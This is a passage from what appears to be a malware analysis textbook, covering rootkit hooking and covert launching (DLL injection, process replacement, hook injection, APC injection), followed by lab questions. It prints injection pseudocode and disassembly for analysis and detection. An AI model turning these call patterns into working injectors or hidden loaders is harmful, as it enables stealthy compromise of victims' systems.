Malware often goes to great lengths to hide its running processes and persis-
tence mechanisms from users. The most common tool used to hide malicious 
activity is referred to as a rootkit.

Rootkits can come in many forms, but most of them work by modifying 
the internal functionality of the OS. These modifications cause files, pro-
cesses, network connections, or other resources to be invisible to other pro-
grams, which makes it difficult for antivirus products, administrators, and 
security analysts to discover malicious activity.

Some rootkits modify user-space applications, but the majority modify 
the kernel, since protection mechanisms, such as intrusion prevention sys-
tems, are installed and running at the kernel level. Both the rootkit and the 
defensive mechanisms are more effective when they run at the kernel level, 
rather than at the user level. At the kernel level, rootkits can corrupt the sys-
tem more easily than at the user level. The kernel-mode technique of SSDT 
hooking and IRP hooks were discussed in Chapter 10.
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Here we’ll introduce you to a couple of user-space rootkit techniques, to 
give you a general understanding of how they work and how to recognize 
them in the field. (There are entire books devoted to rootkits, and we’ll only 
scratch the surface in this section.)

A good strategy for dealing with rootkits that install hooks at the user 
level is to first determine how the hook is placed, and then figure out what 
the hook is doing. Now we will look at the IAT and inline hooking techniques.

IAT Hooking
IAT hooking is a classic user-space rootkit method that hides files, processes, 
or network connections on the local system. This hooking method modifies 
the import address table (IAT) or the export address table (EAT). An exam-
ple of IAT hooking is shown in Figure 11-4. A legitimate program calls the 
TerminateProcess function, as seen at . Normally, the code will use the IAT to 
access the target function in Kernel32.dll, but if an IAT hook is installed, as 
indicated at , the malicious rootkit code will be called instead. The rootkit 
code returns to the legitimate program to allow the TerminateProcess function 
to execute after manipulating some parameters. In this example, the IAT 
hook prevents the legitimate program from terminating a process.

Figure 11-4: IAT hooking of TerminateProcess. The top path is the normal flow, and the bottom path is the flow 
with a rootkit.

The IAT technique is an old and easily detectable form of hooking, 
so many modern rootkits use the more advanced inline hooking method 
instead.

Inline Hooking
Inline hooking overwrites the API function code contained in the imported 
DLLs, so it must wait until the DLL is loaded to begin executing. IAT hook-
ing simply modifies the pointers, but inline hooking changes the actual func-
tion code.

A malicious rootkit performing inline hooking will often replace the 
start of the code with a jump that takes the execution to malicious code 

Legitimate Program

Import Address TabIe (IAT)

IAT with Hook

7C80180E   push 20
7C801810   push kernel32.7C809BA8
7C801815   call kernel32.7C8024C6
7C80181A   xor ebx, ebx
7C80181C   mov ecx,dword ptr ss:[ebp+14]
7C80181F   cmp ecx, ebx
7C801821   je short  kernel32.7C801825
7C801823   mov ptr ds:[ecx],ebx
...

Kernel32.dll TerminateProcess

Rootkit

34200000   Malicious Code
...

10003044    7C801E16 - CreateProcessA
10003048    7C80180E - TerminateProcess
1000304C    7C863D2C - ReadFile
10003050    7C863EB7 - Process32First

10001BCA    push    0                       
10001BCC    mov     eax, [ebp+hProcess]
10001BCF    push    eax                     
10001BD0    call    ds: TerminateProcess�

10003044    7C801E16 - CreateProcessA
10003048    34200000 - Rootkit Code
1000304C    7C863D2C - ReadFile
10003050    7C863EB7 - Process32First

�
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inserted by the rootkit. Alternatively, the rootkit can alter the code of the 
function to damage or change it, rather than jumping to malicious code.

An example of the inline hooking of the ZwDeviceIoControlFile function 
is shown in Listing 11-7. This function is used by programs like Netstat to 
retrieve network information from the system.

100014B4         mov     edi, offset ProcName; "ZwDeviceIoControlFile"
100014B9         mov     esi, offset ntdll ; "ntdll.dll"
100014BE         push    edi                     ; lpProcName
100014BF         push    esi                     ; lpLibFileName
100014C0         call    ds:LoadLibraryA
100014C6         push    eax                     ; hModule
100014C7         call    ds:GetProcAddress 
100014CD         test    eax, eax
100014CF         mov     Ptr_ZwDeviceIoControlFile, eax

Listing 11-7: Inline hooking example

The location of the function being hooked is acquired at . This rootkit’s 
goal is to install a 7-byte inline hook at the start of the ZwDeviceIoControlFile 
function in memory. Table 11-2 shows how the hook was initialized; the raw 
bytes are shown on the left, and the assembly is shown on the right.

The assembly starts with the opcode 0xB8 (mov imm/r), followed by four 
zero bytes, and then the opcodes 0xFF 0xE0 (jmp eax). The rootkit will fill in 
these zero bytes with an address before it installs the hook, so that the jmp 
instruction will be valid. You can activate this view by pressing the C key on 
the keyboard in IDA Pro.

The rootkit uses a simple memcpy to patch the zero bytes to include the 
address of its hooking function, which hides traffic destined for port 443. 
Notice that the address given (10004011) matches the address of the zero bytes 
in the previous example.

100014D9        push    4 
100014DB        push    eax 
100014DC        push    offset unk_10004011 
100014E1        mov     eax, offset hooking_function_hide_Port_443
100014E8        call    memcpy

Table 11-2: 7-Byte Inline Hook

Raw bytes Disassembled bytes

10004010        db 0B8h
10004011 db    0
10004012        db    0
10004013        db    0
10004014        db    0
10004015        db 0FFh
10004016        db 0E0h

10004010        mov     eax, 0
10004015        jmp     eax
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The patch bytes (10004010) and the hook location are then sent to a func-
tion that installs the inline hook, as shown in Listing 11-8.

100014ED         push    7 
100014EF         push    offset Ptr_ZwDeviceIoControlFile
100014F4         push    offset 10004010 ;patchBytes  
100014F9         push    edi 
100014FA         push    esi 
100014FB         call    Install_inline_hook

Listing 11-8: Installing an inline hook

Now ZwDeviceIoControlFile will call the rootkit function first. The rootkit’s 
hooking function removes all traffic destined for port 443 and then calls the 
real ZwDeviceIoControlFile, so everything continues to operate as it did before 
the hook was installed.

Since many defense programs expect inline hooks to be installed at the 
beginning of functions, some malware authors have attempted to insert the 
jmp or the code modification further into the API code to make it harder 
to find.

Conclusion

This chapter has given you a quick tour through some of the common capa-
bilities of malware. We started with the different types of backdoors. Then we 
explored how malware steals credentials from a victim. Next, we looked at 
the different ways that malware can achieve persistence on a system. Finally, 
we showed how malware covers its tracks so that it cannot be easily found. 
You now have been introduced to the most common malware behaviors.

The next several chapters deepen the discussion of malware behavior. In 
the next chapter, we talk about how malware covertly launches. In later chap-
ters, we’ll look at how malware encodes data and how it communicates over 
networks.
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L A B S
Lab 11-1

Analyze the malware found in Lab11-01.exe.

Questions

1. What does the malware drop to disk?

2. How does the malware achieve persistence?

3. How does the malware steal user credentials?

4. What does the malware do with stolen credentials?

5. How can you use this malware to get user credentials from your test 
environment?

Lab 11-2

Analyze the malware found in Lab11-02.dll. Assume that a suspicious file 
named Lab11-02.ini was also found with this malware. 

Questions

1. What are the exports for this DLL malware?

2. What happens after you attempt to install this malware using 
rundll32.exe? 

3. Where must Lab11-02.ini reside in order for the malware to install 
properly?

4. How is this malware installed for persistence?

5. What user-space rootkit technique does this malware employ?

6. What does the hooking code do?

7. Which process(es) does this malware attack and why?

8. What is the significance of the .ini file?

9. How can you dynamically capture this malware’s activity with Wireshark?

Lab 11-3

Analyze the malware found in Lab11-03.exe and Lab11-03.dll. Make sure that 
both files are in the same directory during analysis.
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Questions

1. What interesting analysis leads can you discover using basic static 
analysis?

2. What happens when you run this malware?

3. How does Lab11-03.exe persistently install Lab11-03.dll?

4. Which Windows system file does the malware infect?

5. What does Lab11-03.dll do?

6. Where does the malware store the data it collects?
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C O V E R T  M A L W A R E  L A U N C H I N G

As computer systems and users have become more 
sophisticated, malware, too, has evolved. For example, 
because many users know how to list processes with the 
Windows Task Manager (where malicious software used 
to appear), malware authors have developed many techniques to blend their 
malware into the normal Windows landscape, in an effort to conceal it.

This chapter focuses on some of the methods that malware authors use 
to avoid detection, called covert launching techniques. Here, you’ll learn how to 
recognize code constructs and other coding patterns that will help you to 
identify common ways that malware is covertly launched.

Launchers

As discussed in the previous chapter, a launcher (also known as a loader) is a 
type of malware that sets itself or another piece of malware for immediate or 
future covert execution. The goal of a launcher is to set up things so that the 
malicious behavior is concealed from a user.

Launchers often contain the malware that they’re designed to load. The 
most common example is an executable or DLL in its own resource section. 



The resource section in the Windows PE file format is used by the executable 
and is not considered part of the executable. Examples of the normal contents 
of the resource section include icons, images, menus, and strings. Launchers 
will often store malware within the resource section. When the launcher is 
run, it extracts an embedded executable or DLL from the resource section 
before launching it.

As you have seen in previous examples, if the resource section is com-
pressed or encrypted, the malware must perform resource section extrac-
tion before loading. This often means that you will see the launcher use 
resource-manipulation API functions such as FindResource, LoadResource, 
and SizeofResource.

Malware launchers often must be run with administrator privileges or 
escalate themselves to have those privileges. Average user processes can’t 
perform all of the techniques we discuss in this chapter. We discussed privi-
lege escalation in the previous chapter. The fact that launchers may con-
tain privilege-escalation code provides another way to identify them.

Process Injection

The most popular covert launching technique is process injection. As the name 
implies, this technique injects code into another running process, and that 
process unwittingly executes the malicious code. Malware authors use pro-
cess injection in an attempt to conceal the malicious behavior of their code, 
and sometimes they use this to try to bypass host-based firewalls and other 
process-specific security mechanisms.

Certain Windows API calls are commonly used for process injection. 
For example, the VirtualAllocEx function can be used to allocate space in an 
external process’s memory, and WriteProcessMemory can be used to write data 
to that allocated space. This pair of functions is essential to the first three 
loading techniques that we’ll discuss in this chapter.

DLL Injection
DLL injection—a form of process injection where a remote process is forced 
to load a malicious DLL—is the most commonly used covert loading tech-
nique. DLL injection works by injecting code into a remote process that calls 
LoadLibrary, thereby forcing a DLL to be loaded in the context of that pro-
cess. Once the compromised process loads the malicious DLL, the OS auto-
matically calls the DLL’s DllMain function, which is defined by the author of 
the DLL. This function contains the malicious code and has as much access 
to the system as the process in which it is running. Malicious DLLs often have 
little content other than the Dllmain function, and everything they do will 
appear to originate from the compromised process.

Figure 12-1 shows an example of DLL injection. In this example, the 
launcher malware injects its DLL into Internet Explorer’s memory, thereby 
giving the injected DLL the same access to the Internet as Internet Explorer. 
The loader malware had been unable to access the Internet prior to injection 
because a process-specific firewall detected it and blocked it.
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Figure 12-1: DLL injection—the launcher malware cannot access the Internet until it 
injects into iexplore.exe.

In order to inject the malicious DLL into a host program, the launcher 
malware must first obtain a handle to the victim process. The most common 
way is to use the Windows API calls CreateToolhelp32Snapshot, Process32First, 
and Process32Next to search the process list for the injection target. Once the 
target is found, the launcher retrieves the process identifier (PID) of the tar-
get process and then uses it to obtain the handle via a call to OpenProcess.

The function CreateRemoteThread is commonly used for DLL injection to 
allow the launcher malware to create and execute a new thread in a remote 
process. When CreateRemoteThread is used, it is passed three important param-
eters: the process handle (hProcess) obtained with OpenProcess, along with the 
starting point of the injected thread (lpStartAddress) and an argument for 
that thread (lpParameter). For example, the starting point might be set to 
LoadLibrary and the malicious DLL name passed as the argument. This will 
trigger LoadLibrary to be run in the victim process with a parameter of the 
malicious DLL, thereby causing that DLL to be loaded in the victim process 
(assuming that LoadLibrary is available in the victim process’s memory space 
and that the malicious library name string exists within that same space).

Malware authors generally use VirtualAllocEx to create space for the mali-
cious library name string. The VirtualAllocEx function allocates space in a 
remote process if a handle to that process is provided.

The last setup function required before CreateRemoteThread can be called 
is WriteProcessMemory. This function writes the malicious library name string 
into the memory space that was allocated with VirtualAllocEx.

Listing 12-1 contains C pseudocode for performing DLL injection.

hVictimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, victimProcessID );

pNameInVictimProcess = VirtualAllocEx(hVictimProcess,...,sizeof(maliciousLibraryName),...,...);
WriteProcessMemory(hVictimProcess,...,maliciousLibraryName, sizeof(maliciousLibraryName),...);
GetModuleHandle("Kernel32.dll");
GetProcAddress(...,"LoadLibraryA");

 CreateRemoteThread(hVictimProcess,...,...,LoadLibraryAddress,pNameInVictimProcess,...,...);

Listing 12-1: C Pseudocode for DLL injection

Hard Drive

Launcher
Malware

Malicious DLL

iexplore.exe

Memory

Launcher
Malware

Injection

iexplore.exe

Malicious DLL

Internet

Blocked
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This listing assumes that we obtain the victim PID in victimProcessID 
when it is passed to OpenProcess at  in order to get the handle to the victim 
process. Using the handle, VirtualAllocEx and WriteProcessMemory then allocate 
space and write the name of the malicious DLL into the victim process. Next, 
GetProcAddress is used to get the address to LoadLibrary.

Finally, at , CreateRemoteThread is passed the three important parameters 
discussed earlier: the handle to the victim process, the address of LoadLibrary, 
and a pointer to the malicious DLL name in the victim process. The easiest 
way to identify DLL injection is by identifying this trademark pattern of Win-
dows API calls when looking at the launcher malware’s disassembly.

In DLL injection, the malware launcher never calls a malicious function. 
As stated earlier, the malicious code is located in DllMain, which is automati-
cally called by the OS when the DLL is loaded into memory. The DLL injec-
tion launcher’s goal is to call CreateRemoteThread in order to create the remote 
thread LoadLibrary, with the parameter of the malicious DLL being injected.

Figure 12-2 shows DLL injection code as seen through a debugger. The 
six function calls from our pseudocode in Listing 12-1 can be seen in the dis-
assembly, labeled  through .

Figure 12-2: DLL injection debugger view

Once you find DLL injection activity in disassembly, you should start 
looking for the strings containing the names of the malicious DLL and the 
victim process. In the case of Figure 12-2, we don’t see those strings, but they 
must be accessed before this code executes. The victim process name can 
often be found in a strncmp function (or equivalent) when the launcher 

�

�

�
�

�

�
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determines the victim process’s PID. To find the malicious DLL name, we 
could set a breakpoint at 0x407735 and dump the contents of the stack to 
reveal the value of Buffer as it is being passed to WriteProcessMemory.

Once you’re able to recognize the DLL injection code pattern and iden-
tify these important strings, you should be able to quickly analyze an entire 
group of malware launchers.

Direct Injection
Like DLL injection, direct injection involves allocating and inserting code 
into the memory space of a remote process. Direct injection uses many of 
the same Windows API calls as DLL injection. The difference is that instead 
of writing a separate DLL and forcing the remote process to load it, direct-
injection malware injects the malicious code directly into the remote process.

Direct injection is more flexible than DLL injection, but it requires a lot 
of customized code in order to run successfully without negatively impacting 
the host process. This technique can be used to inject compiled code, but 
more often, it’s used to inject shellcode.

Three functions are commonly found in cases of direct injection: 
VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. There will typi-
cally be two calls to VirtualAllocEx and WriteProcessMemory. The first will allo-
cate and write the data used by the remote thread, and the second will 
allocate and write the remote thread code. The call to CreateRemoteThread 
will contain the location of the remote thread code (lpStartAddress) and 
the data (lpParameter).

Since the data and functions used by the remote thread must exist in the 
victim process, normal compilation procedures will not work. For example, 
strings are not in the normal .data section, and LoadLibrary/GetProcAddress 
will need to be called to access functions that are not already loaded. There 
are other restrictions, which we won’t go into here. Basically, direct injection 
requires that  authors either be skilled assembly language coders or that they 
will inject only relatively simple shellcode.

In order to analyze the remote thread’s code, you may need to debug 
the malware and dump all memory buffers that occur before calls to 
WriteProcessMemory to be analyzed in a disassembler. Since these buffers 
most often contain shellcode, you will need shellcode analysis skills, which 
we discuss extensively in Chapter 19.

Process Replacement

Rather than inject code into a host program, some malware uses a method 
known as process replacement to overwrite the memory space of a running pro-
cess with a malicious executable. Process replacement is used when a mal-
ware author wants to disguise malware as a legitimate process, without the 
risk of crashing a process through the use of process injection.

This technique provides the malware with the same privileges as the 
process it is replacing. For example, if a piece of malware were to perform 
a process-replacement attack on svchost.exe, the user would see a process 
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name svchost.exe running from C:\Windows\System32 and probably think noth-
ing of it. (This is a common malware attack, by the way.)

Key to process replacement is creating a process in a suspended state. This 
means that the process will be loaded into memory, but the primary thread 
of the process is suspended. The program will not do anything until an exter-
nal program resumes the primary thread, causing the program to start run-
ning. Listing 12-2 shows how a malware author achieves this suspended state 
by passing CREATE_SUSPENDED (0x4) as the dwCreationFlags parameter when per-
forming the call to CreateProcess.

00401535        push    edi             ; lpProcessInformation
00401536        push    ecx             ; lpStartupInfo
00401537        push    ebx             ; lpCurrentDirectory
00401538        push    ebx             ; lpEnvironment
00401539        push    CREATE_SUSPENDED ; dwCreationFlags
0040153B        push    ebx             ; bInheritHandles
0040153C        push    ebx             ; lpThreadAttributes
0040153D        lea     edx, [esp+94h+CommandLine] 
00401541        push    ebx             ; lpProcessAttributes
00401542        push    edx             ; lpCommandLine
00401543        push    ebx             ; lpApplicationName
00401544        mov     [esp+0A0h+StartupInfo.dwFlags], 101h
0040154F        mov     [esp+0A0h+StartupInfo.wShowWindow], bx
00401557        call    ds:CreateProcessA

Listing 12-2: Assembly code showing process replacement

Although poorly documented by Microsoft, this method of process cre-
ation can be used to load a process into memory and suspend it at the entry 
point.

Listing 12-3 shows C pseudocode for performing process replacement.

CreateProcess(...,"svchost.exe",...,CREATE_SUSPEND,...);
ZwUnmapViewOfSection(...);
VirtualAllocEx(...,ImageBase,SizeOfImage,...);
WriteProcessMemory(...,headers,...);
for (i=0; i < NumberOfSections; i++) {
 WriteProcessMemory(...,section,...);

}
SetThreadContext();
...
ResumeThread();

Listing 12-3: C pseudocode for process replacement

Once the process is created, the next step is to replace the victim process’s 
memory with the malicious executable, typically using ZwUnmapViewOfSection 
to release all memory pointed to by a section passed as a parameter. After 
the memory is unmapped, the loader performs VirtualAllocEx to allocate 
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new memory for the malware, and uses WriteProcessMemory to write each of 
the malware sections to the victim process space, typically in a loop, as 
shown at .

In the final step, the malware restores the victim process environment so 
that the malicious code can run by calling SetThreadContext to set the entry 
point to point to the malicious code. Finally, ResumeThread is called to initiate 
the malware, which has now replaced the victim process.

Process replacement is an effective way for malware to appear non-
malicious. By masquerading as the victim process, the malware is able to bypass 
firewalls or intrusion prevention systems (IPSs) and avoid detection by appear-
ing to be a normal Windows process. Also, by using the original binary’s path, 
the malware deceives the savvy user who, when viewing a process listing, sees 
only the known and valid binary executing, with no idea that it was unmapped.

Hook Injection

Hook injection describes a way to load malware that takes advantage of Win-
dows hooks, which are used to intercept messages destined for applications. 
Malware authors can use hook injection to accomplish two things:

 To be sure that malicious code will run whenever a particular message is 
intercepted

 To be sure that a particular DLL will be loaded in a victim process’s 
memory space

As shown in Figure 12-3, users generate events that are sent to the OS, 
which then sends messages created by those events to threads registered to 
receive them. The right side of the figure shows one way that an attacker can 
insert a malicious DLL to intercept messages.

Figure 12-3: Event and message flow in Windows 
with and without hook injection
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Windows OS Windows OS
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Local and Remote Hooks
There are two types of Windows hooks:

 Local hooks are used to observe or manipulate messages destined for an 
internal process.

 Remote hooks are used to observe or manipulate messages destined for a 
remote process (another process on the system).

Remote hooks are available in two forms: high and low level. High-level 
remote hooks require that the hook procedure be an exported function con-
tained in a DLL, which will be mapped by the OS into the process space of a 
hooked thread or all threads. Low-level remote hooks require that the hook 
procedure be contained in the process that installed the hook. This proce-
dure is notified before the OS gets a chance to process the event.

Keyloggers Using Hooks
Hook injection is frequently used in malicious applications known as 
keyloggers, which record keystrokes. Keystrokes can be captured by register-
ing high- or low-level hooks using the WH_KEYBOARD or WH_KEYBOARD_LL hook 
procedure types, respectively.

For WH_KEYBOARD procedures, the hook will often be running in the con-
text of a remote process, but it can also run in the process that installed the 
hook. For WH_KEYBOARD_LL procedures, the events are sent directly to the pro-
cess that installed the hook, so the hook will be running in the context of the 
process that created it. Using either hook type, a keylogger can intercept key-
strokes and log them to a file or alter them before passing them along to the 
process or system.

Using SetWindowsHookEx
The principal function call used to perform remote Windows hooking is 
SetWindowsHookEx, which has the following parameters:

idHook Specifies the type of hook procedure to install.

lpfn Points to the hook procedure.

hMod For high-level hooks, identifies the handle to the DLL containing 
the hook procedure defined by lpfn. For low-level hooks, this identifies the 
local module in which the lpfn procedure is defined.

dwThreadId Specifies the identifier of the thread with which the hook 
procedure is to be associated. If this parameter is zero, the hook proce-
dure is associated with all existing threads running in the same desktop 
as the calling thread. This must be set to zero for low-level hooks.

The hook procedure can contain code to process messages as they come 
in from the system, or it can do nothing. Either way, the hook procedure 
must call CallNextHookEx, which ensures that the next hook procedure in the 
call chain gets the message and that the system continues to run properly.
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Thread Targeting
When targeting a specific dwThreadId, malware generally includes instructions 
for determining which system thread identifier to use, or it is designed to 
load into all threads. That said, malware will load into all threads only if it’s a 
keylogger or the equivalent (when the goal is message interception). How-
ever, loading into all threads can degrade the running system and may trig-
ger an IPS. Therefore, if the goal is to simply load a DLL in a remote process, 
only a single thread will be injected in order to remain stealthy.

Targeting a single thread requires a search of the process listing for the 
target process and can require that the malware run a program if the target 
process is not already running. If a malicious application hooks a Windows 
message that is used frequently, it’s more likely to trigger an IPS, so malware 
will often set a hook with a message that is not often used, such as WH_CBT (a 
computer-based training message).

Listing 12-4 shows the assembly code for performing hook injection in 
order to load a DLL in a different process’s memory space.

00401100        push    esi
00401101        push    edi
00401102        push    offset LibFileName ; "hook.dll"
00401107        call    LoadLibraryA
0040110D        mov     esi, eax
0040110F        push    offset ProcName ; "MalwareProc"
00401114        push    esi             ; hModule
00401115        call    GetProcAddress
0040111B        mov     edi, eax
0040111D        call    GetNotepadThreadId
00401122        push    eax             ; dwThreadId
00401123        push    esi ; hmod
00401124        push    edi             ; lpfn
00401125        push    WH_CBT   ; idHook
00401127        call    SetWindowsHookExA

Listing 12-4: Hook injection, assembly code

In Listing 12-4, the malicious DLL (hook.dll) is loaded by the malware, 
and the malicious hook procedure address is obtained. The hook procedure, 
MalwareProc, calls only CallNextHookEx. SetWindowsHookEx is then called for a thread 
in notepad.exe (assuming that notepad.exe is running). GetNotepadThreadId is a 
locally defined function that obtains a dwThreadId for notepad.exe. Finally, a 
WH_CBT message is sent to the injected notepad.exe in order to force hook.dll to 
be loaded by notepad.exe. This allows hook.dll to run in the notepad.exe process 
space.

Once hook.dll is injected, it can execute the full malicious code stored in 
DllMain, while disguised as the notepad.exe process. Since MalwareProc calls only 
CallNextHookEx, it should not interfere with incoming messages, but malware 
often immediately calls LoadLibrary and UnhookWindowsHookEx in DllMain to ensure 
that incoming messages are not impacted.
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Detours

Detours is a library developed by Microsoft Research in 1999. It was originally 
intended as a way to easily instrument and extend existing OS and applica-
tion functionality. The Detours library makes it possible for a developer to 
make application modifications simply.

Malware authors like Detours, too, and they use the Detours library to 
perform import table modification, attach DLLs to existing program files, 
and add function hooks to running processes.

Malware authors most commonly use Detours to add new DLLs to exist-
ing binaries on disk. The malware modifies the PE structure and creates a 
section named .detour, which is typically placed between the export table and 
any debug symbols. The .detour section contains the original PE header with 
a new import address table. The malware author then uses Detours to modify 
the PE header to point to the new import table, by using the setdll tool pro-
vided with the Detours library.

Figure 12-4 shows a PEview of Detours being used to trojanize notepad.exe. 
Notice in the .detour section at  that the new import table contains evil.dll, 
seen at . Evil.dll will now be loaded whenever Notepad is launched. Note-
pad will continue to operate as usual, and most users would have no idea that 
the malicious DLL was executed.

Figure 12-4: A PEview of Detours and the evil.dll

Instead of using the official Microsoft Detours library, malware authors 
have been known to use alternative and custom methods to add a .detour 
section. The use of these methods for detour addition should not impact 
your ability to analyze the malware.

APC Injection

Earlier in this chapter, you saw that by creating a thread using CreateRemoteThread, 
you can invoke functionality in a remote process. However, thread creation 
requires overhead, so it would be more efficient to invoke a function on 

�

�
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an existing thread. This capability exists in Windows as the asynchronous 
procedure call (APC).

APCs can direct a thread to execute some other code prior to executing 
its regular execution path. Every thread has a queue of APCs attached to it, 
and these are processed when the thread is in an alertable state, such as 
when they call functions like WaitForSingleObjectEx, WaitForMultipleObjectsEx, 
and Sleep. These functions essentially give the thread a chance to process the 
waiting APCs.

If an application queues an APC while the thread is alertable but before 
the thread begins running, the thread begins by calling the APC function. 
A thread calls the APC functions one by one for all APCs in its APC queue. 
When the APC queue is complete, the thread continues running along its 
regular execution path. Malware authors use APCs to preempt threads in an 
alertable state in order to get immediate execution for their code.

APCs come in two forms:

 An APC generated for the system or a driver is called a kernel-mode APC.

 An APC generated for an application is called a user-mode APC. 

Malware generates user-mode APCs from both kernel and user space 
using APC injection. Let’s take a closer look at each of these methods.

APC Injection from User Space
From user space, another thread can queue a function to be invoked in a 
remote thread, using the API function QueueUserAPC. Because a thread must 
be in an alertable state in order to run a user-mode APC, malware will look to 
target threads in processes that are likely to go into that state. Luckily for the 
malware analyst, WaitForSingleObjectEx is the most common call in the Win-
dows API, and there are usually many threads in the alertable state.

Let’s examine the QueueUserAPC’s parameters: pfnAPC, hThread, and dwData. A 
call to QueueUserAPC is a request for the thread whose handle is hThread to run 
the function defined by pfnAPC with the parameter dwData. Listing 12-5 shows 
how malware can use QueueUserAPC to force a DLL to be loaded in the context 
of another process, although before we arrive at this code, the malware has 
already picked a target thread.

NOTE During analysis, you can find thread-targeting code by looking for API calls such as 
CreateToolhelp32Snapshot, Process32First, and Process32Next for the malware to 
find the target process. These API calls will often be followed by calls to Thread32First 
and Thread32Next, which will be in a loop looking to target a thread contained in the 
target process. Alternatively, malware can also use Nt/ZwQuerySystemInformation with 
the SYSTEM_PROCESS_INFORMATION information class to find the target process.

00401DA9         push    [esp+4+dwThreadId]      ; dwThreadId
00401DAD         push    0                       ; bInheritHandle
00401DAF         push    10h                     ; dwDesiredAccess
00401DB1         call    ds:OpenThread 
00401DB7         mov     esi, eax
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00401DB9         test    esi, esi
00401DBB         jz      short loc_401DCE
00401DBD         push    [esp+4+dwData]          ; dwData = dbnet.dll
00401DC1         push    esi                     ; hThread
00401DC2         push    ds:LoadLibraryA       ; pfnAPC
00401DC8         call    ds:QueueUserAPC

Listing 12-5: APC injection from a user-mode application

Once a target-thread identifier is obtained, the malware uses it to open 
a handle to the thread, as seen at . In this example, the malware is looking 
to force the thread to load a DLL in the remote process, so you see a call to 
QueueUserAPC with the pfnAPC set to LoadLibraryA at . The parameter to be sent 
to LoadLibraryA will be contained in dwData (in this example, that was set to the 
DLL dbnet.dll earlier in the code). Once this APC is queued and the thread 
goes into an alertable state, LoadLibraryA will be called by the remote thread, 
causing the target process to load dbnet.dll.

In this example, the malware targeted svchost.exe, which is a popular target 
for APC injection because its threads are often in an alertable state. Malware 
may APC-inject into every thread of svchost.exe  just to ensure that execution 
occurs quickly.

APC Injection from Kernel Space
Malware drivers and rootkits often wish to execute code in user space, but 
there is no easy way for them to do it. One method they use is to perform 
APC injection from kernel space to get their code execution in user space. 
A malicious driver can build an APC and dispatch a thread to execute it in a 
user-mode process (most often svchost.exe). APCs of this type often consist of 
shellcode.

Device drivers leverage two major functions in order to utilize APCs: 
KeInitializeApc and KeInsertQueueApc. Listing 12-6 shows an example of these 
functions in use in a rootkit.

000119BD         push    ebx
000119BE         push    1 
000119C0         push    [ebp+arg_4] 
000119C3         push    ebx
000119C4         push    offset sub_11964
000119C9         push    2
000119CB         push    [ebp+arg_0] 
000119CE         push    esi
000119CF         call    ds:KeInitializeApc
000119D5         cmp     edi, ebx
000119D7         jz      short loc_119EA
000119D9         push    ebx
000119DA         push    [ebp+arg_C]
000119DD         push    [ebp+arg_8]
000119E0         push    esi
000119E1         call    edi       ;KeInsertQueueApc

Listing 12-6: User-mode APC injection from kernel space
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The APC first must be initialized with a call to KeInitializeApc. If the 
sixth parameter (NormalRoutine)  is non-zero in combination with the sev-
enth parameter (ApcMode)  being set to 1, then we are looking at a user-
mode type. Therefore, focusing on these two parameters can tell you if the 
rootkit is using APC injection to run code in user space.

KeInitializeAPC initializes a KAPC structure, which must be passed to 
KeInsertQueueApc to place the APC object in the target thread’s corresponding 
APC queue. In Listing 12-6, ESI will contain the KAPC structure. Once 
KeInsertQueueApc is successful, the APC will be queued to run.

In this example, the malware targeted svchost.exe, but to make that deter-
mination, we would need to trace back the second-to-last parameter pushed 
on the stack to KeInitializeApc. This parameter contains the thread that will 
be injected. In this case, it is contained in arg_0, as seen at . Therefore, we 
would need to look back in the code to check how arg_0 was set in order to 
see that svchost.exe’s threads were targeted.

Conclusion

In this chapter, we’ve explored the common covert methods through which 
malware launches, ranging from the simple to advanced. Many of the tech-
niques involve manipulating live memory on the system, as with DLL injec-
tion, process replacement, and hook injection. Other techniques involve 
modifying binaries on disk, as in the case of adding a .detour section to a 
PE file. Although these techniques are all very different, they achieve the 
same goal.

A malware analyst must be able to recognize launching techniques in 
order to know how to find malware on a live system. Recognizing and ana-
lyzing launching techniques is really only part of the full analysis, since all 
launchers do only one thing: they get the malware running.

In the next two chapters, you will learn how malware encodes its data 
and communicates over the network.
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L A B S
Lab 12-1

Analyze the malware found in the file Lab12-01.exe and Lab12-01.dll. Make 
sure that these files are in the same directory when performing the analysis. 

Questions

1. What happens when you run the malware executable? 

2. What process is being injected?

3. How can you make the malware stop the pop-ups?

4. How does this malware operate?

Lab 12-2

Analyze the malware found in the file Lab12-02.exe. 

Questions

1. What is the purpose of this program?

2. How does the launcher program hide execution?

3. Where is the malicious payload stored?

4. How is the malicious payload protected?

5. How are strings protected?

Lab 12-3

Analyze the malware extracted during the analysis of Lab 12-2, or use the file 
Lab12-03.exe.

Questions

1. What is the purpose of this malicious payload?

2. How does the malicious payload inject itself?

3. What filesystem residue does this program create?

Lab 12-4

Analyze the malware found in the file Lab12-04.exe.
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Questions

1. What does the code at 0x401000 accomplish?

2. Which process has code injected?

3. What DLL is loaded using LoadLibraryA? 

4. What is the fourth argument passed to the CreateRemoteThread call?

5. What malware is dropped by the main executable?

6. What is the purpose of this and the dropped malware? 
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D A T A  E N C O D I N G

In the context of malware analysis, the term data 
encoding refers to all forms of content modification 
for the purpose of hiding intent. Malware uses encod-
ing techniques to mask its malicious activities, and as 
a malware analyst, you’ll need to understand these 
techniques in order to fully understand the malware.

When using data encoding, attackers will choose the method that best 
meets their goals. Sometimes, they will choose simple ciphers or basic encod-
ing functions that are easy to code and provide enough protection; other 
times, they will use sophisticated cryptographic ciphers or custom encryption 
to make identification and reverse-engineering more difficult.

We begin this chapter by focusing on finding and identifying encoding 
functions. Then we will cover strategies for decoding.



The Goal of Analyzing Encoding Algorithms

Malware uses encoding for a variety of purposes. The most common use is 
for the encryption of network-based communication. Malware will also use 
encoding to disguise its internal workings. For example, a malware author 
might use a layer of encoding for these purposes:

 To hide configuration information, such as a command-and-control 
domain

 To save information to a staging file before stealing it

 To store strings used by the malware and decode them just before they 
are needed

 To disguise the malware as a legitimate tool, hiding the strings used for 
malicious activities

Our goal when analyzing encoding algorithms will always consist of two 
parts: identifying the encoding functions and then using that knowledge to 
decode the attacker’s secrets.

Simple Ciphers

Simple encoding techniques have existed for thousands of years. While you 
might assume that the massive computing capacity of modern computers has 
made simple ciphers extinct, this is not the case. Simple encoding techniques 
are often used to disguise content so that it is not apparent that it is human-
readable or to transform data into a different character set.

Simple ciphers are often disparaged for being unsophisticated, but they 
offer many advantages for malware, including the following:

 They are small enough to be used in space-constrained environments 
such as exploit shellcode.

 They are less obvious than more complex ciphers.

 They have low overhead and thus little impact on performance.

Malware authors who use a simple cipher don’t expect to be immune to 
detection; they’re simply looking for an easy way to prevent basic analysis 
from identifying their activities.

Caesar Cipher
